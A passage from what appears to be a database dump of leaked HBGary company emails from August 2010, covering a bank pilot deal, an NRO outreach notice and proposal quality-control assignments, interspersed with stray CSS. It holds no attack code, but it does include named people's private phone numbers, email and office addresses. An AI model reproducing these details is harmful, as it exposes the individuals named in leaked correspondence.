}\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',5398,'aaron_hbgary_com/5398.html'),(10271,'2010-08-13','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007990.M739526P14101Q5126.eml','\"Barr Aaron\" <aaron@hbgary.com>','Bank of the West','I think i just closed a deal for a 4 month pilot project priced at\r\n$1250 per month ($5K total) I\'m putting together the written quote.\r\nCool\r\n\r\nTed\r\n',7546,'aaron_hbgary_com/7546.html'),(10272,'2010-08-13','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297007990.M986013P14101Q5127.eml','\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Bank of the West feedback','Bank of the West was impressed with the End Games service!  It looks pretty easy for him to get the funding because it includes the parent company.\r\n \r\nI will have to speak with him again to get a timeline.  Ted when you sell this to Bank of the West you should put a date on the quote and let him know that initial pricing is for the first 5 buyers..... otherwise it will get budgeted for next year and if it does it should be a higher price.\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\n',4617,'aaron_hbgary_com/4617.html'),(10273,'2010-08-13','arc@westfields.net','/aaron@hbgary.com/new/1297007991.M188523P14101Q5128.eml','federal@hbgary.com','AS&T Technology Outreach Program','Just wanted to let you know of a new effort that the National Reconnaissance Office (NRO) Advanced Systems &amp; Technology (AS&amp;T) Directorate is initiating:&nbsp; The NRO Technology Outreach Program (TOP).&nbsp; Please go to the following website on the CWAN and check it out on Monday, 16 August 2010 after 1:00 pm eastern time:&nbsp; http://ast-cwan.npa.gov/TechOutreach/.\r\n\r\nARC Webmaster\r\n	 --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',11030,'aaron_hbgary_com/11030.html'),(10274,'2010-08-13','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007991.M390018P14101Q5129.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: AS&T Technology Outreach Program','Link isn\'t live yet, but this could be interesting...\r\n\r\n\r\n---------- Forwarded message ----------\r\nFrom:  \r\nDate: Fri, Aug 13, 2010 at 12:30 PM\r\nSubject: AS&T Technology Outreach Program\r\nTo: federal@hbgary.com\r\n\r\n\r\nJust wanted to let you know of a new effort that the National\r\nReconnaissance Office (NRO) Advanced Systems & Technology (AS&T)\r\nDirectorate is initiating:  The NRO Technology Outreach Program (TOP).\r\n Please go to the following website on the CWAN and check it out on\r\nMonday, 16 August 2010 after 1:00 pm eastern time:\r\nhttp://ast-cwan.npa.gov/TechOutreach/.\r\n\r\nARC Webmaster\r\n\r\n\r\n\r\n\r\n--------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point\r\nof contact for your company on the IC Acquisition Research Center\r\n(ARC) Contractor Registry. If you do not wish to receive further\r\nnotices please login to the ARC (https://arc.westfields.net/) using\r\nyour company account and update your company POC profile with your\r\nemail preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151\r\narc@westfields.net\r\n703-449-8014\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',14200,'aaron_hbgary_com/14200.html'),(10275,'2010-08-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007991.M584578P14101Q5130.eml','\"Ted Vera\" <ted@hbgary.com>','Re: AS&T Technology Outreach Program','Its on CWAN.\r\n\r\nOn Aug 13, 2010, at 2:37 PM, Ted Vera wrote:\r\n\r\n> Link isn\'t live yet, but this could be interesting...\r\n> \r\n> \r\n> ---------- Forwarded message ----------\r\n> From:  \r\n> Date: Fri, Aug 13, 2010 at 12:30 PM\r\n> Subject: AS&T Technology Outreach Program\r\n> To: federal@hbgary.com\r\n> \r\n> \r\n> Just wanted to let you know of a new effort that the National\r\n> Reconnaissance Office (NRO) Advanced Systems & Technology (AS&T)\r\n> Directorate is initiating:  The NRO Technology Outreach Program (TOP).\r\n> Please go to the following website on the CWAN and check it out on\r\n> Monday, 16 August 2010 after 1:00 pm eastern time:\r\n> http://ast-cwan.npa.gov/TechOutreach/.\r\n> \r\n> ARC Webmaster\r\n> \r\n> \r\n> \r\n> \r\n> --------------------------------------------------------------------\r\n> You are receiving this email notice because you were listed as a point\r\n> of contact for your company on the IC Acquisition Research Center\r\n> (ARC) Contractor Registry. If you do not wish to receive further\r\n> notices please login to the ARC (https://arc.westfields.net/) using\r\n> your company account and update your company POC profile with your\r\n> email preferences.\r\n> \r\n> Ticom Inc./ACE\r\n> 3810 Concorde Parkway Suite 1800\r\n> Chantilly, VA 20151\r\n> arc@westfields.net\r\n> 703-449-8014\r\n> \r\n> \r\n> -- \r\n> Ted Vera  |  President  |  HBGary Federal\r\n> Office 916-459-4727x118  | Mobile 719-237-8623\r\n> www.hbgary.com  |  ted@hbgary.com\r\n\r\n',6825,'aaron_hbgary_com/6825.html'),(10276,'2010-08-13','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007991.M894097P14101Q5131.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: AS&T Technology Outreach Program','Hmmm... Mike Toth has CWAN access and I know he goes somewhere to\r\ncheck it.  You\'re cleared.  Maybe you can tag along with him on his\r\nnext mail check?\r\n\r\nTed\r\n\r\n\r\n\r\nOn Fri, Aug 13, 2010 at 12:44 PM, Aaron Barr  wrote:\r\n> Its on CWAN.\r\n>\r\n> On Aug 13, 2010, at 2:37 PM, Ted Vera wrote:\r\n>\r\n>> Link isn\'t live yet, but this could be interesting...\r\n>>\r\n>>\r\n>> ---------- Forwarded message ----------\r\n>> From:  \r\n>> Date: Fri, Aug 13, 2010 at 12:30 PM\r\n>> Subject: AS&T Technology Outreach Program\r\n>> To: federal@hbgary.com\r\n>>\r\n>>\r\n>> Just wanted to let you know of a new effort that the National\r\n>> Reconnaissance Office (NRO) Advanced Systems & Technology (AS&T)\r\n>> Directorate is initiating:  The NRO Technology Outreach Program (TOP).\r\n>> Please go to the following website on the CWAN and check it out on\r\n>> Monday, 16 August 2010 after 1:00 pm eastern time:\r\n>> http://ast-cwan.npa.gov/TechOutreach/.\r\n>>\r\n>> ARC Webmaster\r\n>>\r\n>>\r\n>>\r\n>>\r\n>> --------------------------------------------------------------------\r\n>> You are receiving this email notice because you were listed as a point\r\n>> of contact for your company on the IC Acquisition Research Center\r\n>> (ARC) Contractor Registry. If you do not wish to receive further\r\n>> notices please login to the ARC (https://arc.westfields.net/) using\r\n>> your company account and update your company POC profile with your\r\n>> email preferences.\r\n>>\r\n>> Ticom Inc./ACE\r\n>> 3810 Concorde Parkway Suite 1800\r\n>> Chantilly, VA 20151\r\n>> arc@westfields.net\r\n>> 703-449-8014\r\n>>\r\n>>\r\n>> --\r\n>> Ted Vera  |  President  |  HBGary Federal\r\n>> Office 916-459-4727x118  | Mobile 719-237-8623\r\n>> www.hbgary.com  |  ted@hbgary.com\r\n>\r\n>\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',1725,'aaron_hbgary_com/1725.html'),(10277,'2010-08-13','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007992.M105334P14101Q5132.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: AS&T Technology Outreach Program','Or maybe we could ask him to check the link for anything that falls in\r\nline with HBGary capabilities and we can team with him on a response?\r\n\r\nOn Fri, Aug 13, 2010 at 12:45 PM, Ted Vera  wrote:\r\n> Hmmm... Mike Toth has CWAN access and I know he goes somewhere to\r\n> check it.  You\'re cleared.  Maybe you can tag along with him on his\r\n> next mail check?\r\n>\r\n> Ted\r\n>\r\n>\r\n>\r\n> On Fri, Aug 13, 2010 at 12:44 PM, Aaron Barr  wrote:\r\n>> Its on CWAN.\r\n>>\r\n>> On Aug 13, 2010, at 2:37 PM, Ted Vera wrote:\r\n>>\r\n>>> Link isn\'t live yet, but this could be interesting...\r\n>>>\r\n>>>\r\n>>> ---------- Forwarded message ----------\r\n>>> From:  \r\n>>> Date: Fri, Aug 13, 2010 at 12:30 PM\r\n>>> Subject: AS&T Technology Outreach Program\r\n>>> To: federal@hbgary.com\r\n>>>\r\n>>>\r\n>>> Just wanted to let you know of a new effort that the National\r\n>>> Reconnaissance Office (NRO) Advanced Systems & Technology (AS&T)\r\n>>> Directorate is initiating:  The NRO Technology Outreach Program (TOP).\r\n>>> Please go to the following website on the CWAN and check it out on\r\n>>> Monday, 16 August 2010 after 1:00 pm eastern time:\r\n>>> http://ast-cwan.npa.gov/TechOutreach/.\r\n>>>\r\n>>> ARC Webmaster\r\n>>>\r\n>>>\r\n>>>\r\n>>>\r\n>>> --------------------------------------------------------------------\r\n>>> You are receiving this email notice because you were listed as a point\r\n>>> of contact for your company on the IC Acquisition Research Center\r\n>>> (ARC) Contractor Registry. If you do not wish to receive further\r\n>>> notices please login to the ARC (https://arc.westfields.net/) using\r\n>>> your company account and update your company POC profile with your\r\n>>> email preferences.\r\n>>>\r\n>>> Ticom Inc./ACE\r\n>>> 3810 Concorde Parkway Suite 1800\r\n>>> Chantilly, VA 20151\r\n>>> arc@westfields.net\r\n>>> 703-449-8014\r\n>>>\r\n>>>\r\n>>> --\r\n>>> Ted Vera  |  President  |  HBGary Federal\r\n>>> Office 916-459-4727x118  | Mobile 719-237-8623\r\n>>> www.hbgary.com  |  ted@hbgary.com\r\n>>\r\n>>\r\n>\r\n>\r\n>\r\n> --\r\n> Ted Vera  |  President  |  HBGary Federal\r\n> Office 916-459-4727x118  | Mobile 719-237-8623\r\n> www.hbgary.com  |  ted@hbgary.com\r\n>\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',2137,'aaron_hbgary_com/2137.html'),(10278,'2010-08-13','\"Kirby Kintner\" <kkintner@digitalmanagement.com>','/aaron@hbgary.com/new/1297007992.M317292P14101Q5133.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Fertal, Martin J (TASC)\" <Martin.Fertal@TASC.com>,\"Sanderson, Robert\" <robert.sanderson@telos.com>,\"Friedman, Bruce L (IS)\" <bruce.friedman@ngc.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Fertal, Martin J (TASC)\" <Martin.Fertal@TASC.com>','Quality Control','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nWe\r\nneed to add 4-5 specific quality control checkpoints for each SOW subtask,\r\n1.3.1 &#8211; 1.3.5.\r\n\r\nI\r\nhave attached a template that want you to use.&nbsp; Each subtask is marked with\r\nthe company that needs to provide the QC checkpoints.\r\n\r\n&nbsp;\r\n\r\nAnd,\r\njust to clarify &#8211; I consider a checkpoint to be a critical step in a\r\nprocess where one would validate specific conditions or results.\r\n\r\ne.g.\r\nIf uploading new firewall software, I would check the version number to be sure\r\nI had the correct product before loading it, and after loading it I would verify\r\ncorrect functionality by operating or testing the &nbsp;system. &nbsp;\r\n\r\n&nbsp;\r\n\r\nMy\r\nexample is simplistic and mundane.&nbsp; I need you to identify the ones that\r\nare more serious &#8211; those that would avoid major problems if caught. Do\r\nnot include Performance Metrics &#8211; they are different.\r\n\r\n&nbsp;\r\n\r\nDo\r\nnot include this table in your sections.&nbsp; &nbsp;Please return it to me\r\nwith your section updates on Saturday. I will put them in the Quality Control\r\nSection of Vol 1.\r\n\r\n\r\n\r\nThanx\r\n\r\nKJK\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13673,'aaron_hbgary_com/13673.html'),(10279,'2010-08-13','\"MB Toth\" <mbt.rbtoth@gmail.com>','/aaron@hbgary.com/new/1297007992.M519175P14101Q5134.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','NRO Technolog Outreach Program','Ted,I was just at the ARC, so probably won&#39;t be back until week after next, but you might want to look at this if you are there over the next week or so.  Might just be a satellite focused capability, but I&#39;ll let you know what it&#39;s about after I&#39;ve had a chance to look.\r\nMikeJust wanted to let you know of a new effort that the National Reconnaissance Office (NRO) Advanced Systems &amp; Technology (AS&amp;T) Directorate is initiating:  The NRO Technology Outreach Program (TOP).  Please go to the following website on the CWAN and check it out on Monday, 16 August 2010 after 1:00 pm eastern time:  http://ast-cwan.npa.gov/TechOutreach/.\r\n#avg_ls_inline_popup {  position:absolute;  z-index:9999;  padding: 0px 0px;  margin-left: 0px;  margin-top: 0px;  width: 240px;  overflow: hidden;  word-wrap: break-word;  color: black;  font-size: 10px;  text-align: left;  line-height: 13px;}\r\n',7695,'aaron_hbgary_com/7695.html'),(10280,'2010-08-13','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007992.M713970P14101Q5135.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: NRO Technolog Outreach Program','Mike is awesome.  I didn\'t even ask / tell him about it.\r\n\r\n\r\n---------- Forwarded message ----------\r\nFrom: MB Toth \r\nDate: Fri, Aug 13, 2010 at 12:49 PM\r\nSubject: NRO Technolog Outreach Program\r\nTo: Ted Vera \r\nCc: Aaron Barr \r\n\r\n\r\nTed,\r\n\r\nI was just at the ARC, so probably won\'t be back until week after\r\nnext, but you might want to look at this if you are there over the\r\nnext week or so.  Might just be a satellite focused capability, but\r\nI\'ll let you know what it\'s about after I\'ve had a chance to look.\r\n\r\nMike\r\n\r\nJust wanted to let you know of a new effort that the National\r\nReconnaissance Office (NRO) Advanced Systems & Technology (AS&T)\r\nDirectorate is initiating:  The NRO Technology Outreach Program (TOP).\r\n Please go to the following website on the CWAN and check it out on\r\nMonday, 16 August 2010 after 1:00 pm eastern time:\r\nhttp://ast-cwan.npa.gov/TechOutreach/.\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',13881,'aaron_hbgary_com/13881.html'),(10281,'2010-08-13','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007992.M940010P14101Q5136.eml','\"MB Toth\" <mbt.rbtoth@gmail.com>,\"MB Toth\" <mbt.rbtoth@gmail.com>','Re: NRO Technolog Outreach Program','Thanks Mike!\r\n\r\nFunny, just a moment ago I forwarded this to Aaron and thought maybe\r\nyou could take a look at this for us, or let Aaron tag along the next\r\ntime you go.\r\n\r\nTed\r\n\r\nOn Fri, Aug 13, 2010 at 12:49 PM, MB Toth  wrote:\r\n> Ted,\r\n>\r\n> I was just at the ARC, so probably won\'t be back until week after next, but\r\n> you might want to look at this if you are there over the next week or so.\r\n> Might just be a satellite focused capability, but I\'ll let you know what\r\n> it\'s about after I\'ve had a chance to look.\r\n>\r\n> Mike\r\n>\r\n> Just wanted to let you know of a new effort that the National Reconnaissance\r\n> Office (NRO) Advanced Systems & Technology (AS&T) Directorate is\r\n> initiating:  The NRO Technology Outreach Program (TOP).  Please go to the\r\n> following website on the CWAN and check it out on Monday, 16 August 2010\r\n> after 1:00 pm eastern time:  http://ast-cwan.npa.gov/TechOutreach/.\r\n>\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',7478,'aaron_hbgary_com/7478.html'),(10282,'2010-08-13','\"Kirby Kintner\" <kkintner@digitalmanagement.com>','/aaron@hbgary.com/new/1297007993.M155949P14101Q5137.eml','\"Friedman, Bruce L (IS)\" <bruce.friedman@ngc.com>,\"Fertal, Martin J (TASC)\" <Martin.Fertal@TASC.com>,\"Sanderson, Robert\" <robert.sanderson@telos.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: EXTERNAL:Quality Control','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nIt seems I had the excel\r\nspreadsheet rolled up incorrectly and translated the wrong assignments. Here\r\nare the correct assignments.\r\n\r\n&nbsp;\r\n\r\n\r\n \r\n  \r\n  Technical\r\n  Performance Quality Control Checkpoints\r\n  \r\n \r\n \r\n  \r\n  1.3.1\r\n  IA Compliance\r\n  \r\n  \r\n  &middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  Telos \r\n  &middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  1.3.2\r\n  IA Governance\r\n  \r\n  \r\n  &middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  &nbsp;Telos\r\n  &middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  1.3.3\r\n  IA Technical Services\r\n  \r\n  \r\n  &middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  &nbsp;HBGary\r\n  &middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  1.3.4\r\n  IA - General\r\n  \r\n  \r\n  &middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  NGC\r\n  &middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  1.3.5\r\n  CCIP Support\r\n  \r\n  \r\n  &middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  &nbsp;NGC\r\n  &middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  &nbsp;\r\n  \r\n \r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Friedman, Bruce L\r\n(IS) [mailto:bruce.friedman@ngc.com] \r\nSent: Friday, August 13, 2010 3:14 PM\r\nTo: Kirby Kintner\r\nSubject: RE: EXTERNAL:Quality Control\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nThese are different assignment\r\nthan the writing assignments, is that what you planned to do. For example, you\r\nswitched 1.3.3 with 1.3.5 for TACS and NGC.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nThanks, \r\nBruce \r\n\r\nBruce Friedman PMP\r\nNorthrop Grumman \r\n\r\n&nbsp;\r\n\r\n703 883 8883 (office)\r\n\r\n703 589 0917 (cell)\r\n\r\n703 556 1517 (fax)\r\n\r\n&nbsp;\r\n\r\n7575 Colshire Dr.\r\n\r\nRoom 5013W, Mail Stop C5W1&nbsp;\r\n\r\nMcLean, VA 22102&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Kirby Kintner\r\n[mailto:kkintner@digitalmanagement.com] \r\nSent: Friday, August 13, 2010 2:49 PM\r\nTo: Aaron Barr; Fertal, Martin J (TASC); Sanderson, Robert; Friedman,\r\nBruce L (IS)\r\nCc: John Fanguy; William E. Miller\r\nSubject: EXTERNAL:Quality Control\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nWe\r\nneed to add 4-5 specific quality control checkpoints for each SOW subtask,\r\n1.3.1 &#8211; 1.3.5.\r\n\r\nI\r\nhave attached a template that want you to use.&nbsp; Each subtask is marked\r\nwith the company that needs to provide the QC checkpoints.\r\n\r\n&nbsp;\r\n\r\nAnd,\r\njust to clarify &#8211; I consider a checkpoint to be a critical step in a process\r\nwhere one would validate specific conditions or results.\r\n\r\ne.g.\r\nIf uploading new firewall software, I would check the version number to be sure\r\nI had the correct product before loading it, and after loading it I would\r\nverify correct functionality by operating or testing the &nbsp;system. &nbsp;\r\n\r\n&nbsp;\r\n\r\nMy\r\nexample is simplistic and mundane.&nbsp; I need you to identify the ones that\r\nare more serious &#8211; those that would avoid major problems if caught. Do not\r\ninclude Performance Metrics &#8211; they are 